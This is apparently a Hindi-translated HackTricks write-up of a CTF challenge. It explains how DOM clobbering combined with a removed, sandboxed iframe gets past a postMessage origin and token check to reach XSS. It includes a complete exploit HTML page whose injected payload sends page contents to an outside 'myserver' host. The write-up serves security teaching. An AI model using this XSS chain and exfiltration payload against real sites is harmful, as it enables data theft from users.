Bypassing SOP with Iframes - 2

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

SOP-2 में आईफ्रेम्स

इस चुनौती के समाधान में, @Strellic_ पिछले खंड की एक समान विधि का प्रस्ताव देते हैं। चलिए इसे जांचते हैं।

इस चुनौती में हमें अटकना है:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

अगर वह ऐसा करता है, तो वह postmessage भेज सकता है जिसमें HTML सामग्री होगी जो innerHTML के साथ लिखी जाएगी बिना सेनिटेशन के (XSS).

पहली जाँच को छलकरने का तरीका यह है कि window.calc.contentWindow को undefined और e.source को null बनाना:

  • window.calc.contentWindow वास्तव में document.getElementById("calc") है। आप document.getElementById को <img name=getElementById /> के साथ लपेट सकते हैं (ध्यान दें कि Sanitizer API -यहाँ- DOM clobbering हमलों के खिलाफ सुरक्षा उपाय को डिफ़ॉल्ट स्थिति में संरचित नहीं किया गया है)।

  • इसलिए, आप document.getElementById("calc") को <img name=getElementById /><div id=calc></div> के साथ लपेट सकते हैं। फिर, window.calc undefined हो जाएगा।

  • अब, हमें e.source को undefined या null होने की आवश्यकता है (क्योंकि == का उपयोग === के बजाय किया जाता है, null == undefined True है)। इसे प्राप्त करना "आसान" है। यदि आप एक iframe बनाते हैं और उससे postMessage भेजते हैं और तुरंत remove कर देते हैं, तो e.origin null हो जाएगा। निम्नलिखित कोड की जाँच करें

let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

दूसरी जाँच को छलकरने के लिए token को मान null के साथ भेजकर और window.token को मान undefined करके:

  • token को मान null के साथ postMessage भेजना सरल है।

  • window.token document.cookie का उपयोग करने वाले getCookie फ़ंक्शन को कॉल करना है। ध्यान दें कि null मूल स्थान पृष्ठों में document.cookie तक पहुँच किसी त्रुटि को ट्रिगर करेगा। इससे window.token का मान undefined हो जाएगा।

@terjanq द्वारा अंतिम समाधान निम्नलिखित है:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!
  • क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं? SUBSCRIPTION PLANS की जाँच करें!

  • The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह

  • आधिकारिक PEASS & HackTricks swag प्राप्त करें

  • शामिल हों 💬 Discord समूह या टेलीग्राम समूह में या मुझे Twitter पर फॉलो करें 🐦@carlospolopm.

  • अपने हैकिंग ट्रिक्स साझा करें, hacktricks रेपो और hacktricks-cloud रेपो में PR जमा करके

Last updated